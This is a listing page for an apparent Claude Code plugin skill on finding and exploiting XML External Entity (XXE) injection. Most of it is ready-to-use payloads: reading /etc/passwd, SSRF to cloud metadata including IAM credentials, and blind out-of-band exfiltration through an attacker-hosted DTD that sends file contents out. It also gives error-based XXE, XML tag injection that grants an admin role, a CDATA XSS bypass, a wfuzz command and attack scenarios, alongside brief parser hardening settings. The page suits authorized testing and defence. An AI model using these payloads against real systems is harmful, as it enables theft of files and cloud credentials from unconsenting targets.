/secure-code-review-pipeline:xxefrom secure-code-review-pipeline
Detects and exploits XML External Entity (XXE) injection vulnerabilities in XML parsers. Covers file disclosure, SSRF, and DoS attacks using DTD entity declarations. Includes payloads for Java APIs like DocumentBuilder, SAXParser, and dom4j.
Ships in secure-code-review-pipeline. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
XXE vulnerabilities arise when XML input containing a DOCTYPE declaration with external entity references is processed by a parser that has external entity resolution enabled. The parser fetches the referenced resource (a local file, remote URL, or network service) and substitutes it into the document, which the application may then reflect in a response or process further. Beyond data disclosure, XXE enables SSRF and, via parameter entities, blind out-of-band exfiltration. The root cause is misconfigured or default-insecure XML parser settings.
Content-Type: application/xml, file uploads of .xml/.docx/.xlsx/.svg)<?xml declarationsDocumentBuilder, SAXParser, XMLInputFactory, TransformerFactory<!-- Step 1: Confirm entity processing (internal entity) -->
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe "xxe-test">]>
<root>&xxe;</root>
<!-- Step 2: File disclosure (Linux) -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- File disclosure (Windows) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]>
<foo>&xxe;</foo>
<!-- SSRF via HTTP entity -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<foo>&xxe;</foo>
<!-- OOB blind XXE (data exfiltration via DNS/HTTP) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://VICTIM/malicious.dtd">
%xxe;
]>
<foo/>
<!-- malicious.dtd hosted on attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://VICTIM/?data=%file;'>">
%send;
<!-- Error-based XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<!-- XML tag injection / privilege escalation -->
<!-- Email field: inject closing tag + new element -->
[email protected]</mail><role>admin</role><mail>[email protected]
<!-- CDATA XSS bypass -->
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
<!-- wfuzz XML injection fuzzing -->
wfuzz -c -z file,xml-fuzz.txt --hc 200 TARGET/api/xml-endpoint
<!DOCTYPE> is stripped: test for XML injection via metacharacters (', ", <, >, &, ]]>) to break document structureSYSTEM entities are blocked but PUBLIC entities are not: <!ENTITY xxe PUBLIC "foo" "file:///etc/passwd"><![CDATA[...]]>Scenario 1 — File Disclosure via SOAP API
Setup: SOAP web service accepts XML, processes address field, and reflects parsed values.
Trigger: Replace address field value with entity reference: inject DOCTYPE + <!ENTITY xxe SYSTEM "file:///etc/passwd"> and use &xxe; as address value.
Impact: Contents of /etc/passwd returned in the address field of the SOAP response.
Scenario 2 — SSRF to Cloud Metadata
Setup: REST API endpoint accepts Content-Type: application/xml and processes product import data.
Trigger: Submit XXE with SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE".
Impact: AWS IAM credentials returned in error message or reflected XML response.
Scenario 3 — Blind OOB Exfiltration via SVG Upload Setup: Profile avatar accepts SVG format; server-side renderer processes SVG XML. Trigger: Upload SVG containing external DTD reference pointing to attacker server; DTD triggers file read and DNS/HTTP callback with file contents. Impact: Sensitive server files exfiltrated without any visible response to attacker.
& style references) that work but external SYSTEM entities are blockedfactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)external-general-entities and external-parameter-entitiesresolve_entities=Falselibxml_disable_entity_loader(true) (PHP < 8.0); PHP 8.0+ disabled by default[[ssrf]] and XXE are two sides of the same server-trust-boundary problem: XXE with an http:// SYSTEM entity is an SSRF primitive that can reach the cloud metadata endpoint just as a URL-parameter SSRF can. If XXE enables file disclosure and the file contains source code, use those paths as targets for [[path-traversal]] to enumerate the filesystem further. SVG upload XXE chains into [[xss-stored]] if the server renders the SVG in an HTML context without sanitization. The OOB data exfiltration technique here (DNS callback) is the same pattern used in blind [[ssrf]] detection.
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
12 skills in this plugin
/production-python-aiProduction-grade Python and AI engineering standards. Use for ANY Python work — FastAPI services, LangChain/LangGraph agents, RAG pipelines, LLM API integrations, document processing, or data scripts — whether writing new code, reviewing, refactoring, or debugging. Enforces typed Pydantic boundaries, structured errors and logging, LLM call timeouts/retries/output validation, secret management, async correctness, and tested code./api-securityUse for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication, authorization, rate-limit, and CI/CD testing./npx claudepluginhub skillmds/skillmd --plugin secure-code-review-pipelineOther plugins' skills for the same job